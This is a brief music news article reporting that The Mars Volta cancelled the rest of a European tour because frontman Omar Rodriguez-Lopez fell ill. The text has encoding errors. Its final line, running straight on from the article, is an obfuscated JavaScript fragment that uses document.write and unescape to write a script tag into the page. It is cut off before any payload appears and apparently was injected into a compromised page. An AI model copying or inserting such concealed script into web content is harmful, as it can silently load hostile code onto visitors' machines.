The Mars Volta have been forced to cancel their European tour due to illness.
The band pulled out of their current jaunt when frontman Omar Rodriguez-Lopez started feeling ill.
A spokesperson for the band issued the following statement: “The Mars Volta regretfully announces the cancellation of the remainder of its current European tour due to health issues. Band Leader Omar Rodriguez-Lopez began experiencing abdominal pains at the tour's outset that have since become severe to the point of hampering his live performance and requiring immediate medical attention.â€
Rodriguez-Lopez is now recuperating and the band hop to resuming again this autumn when they support System Of A Down on their American tour.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22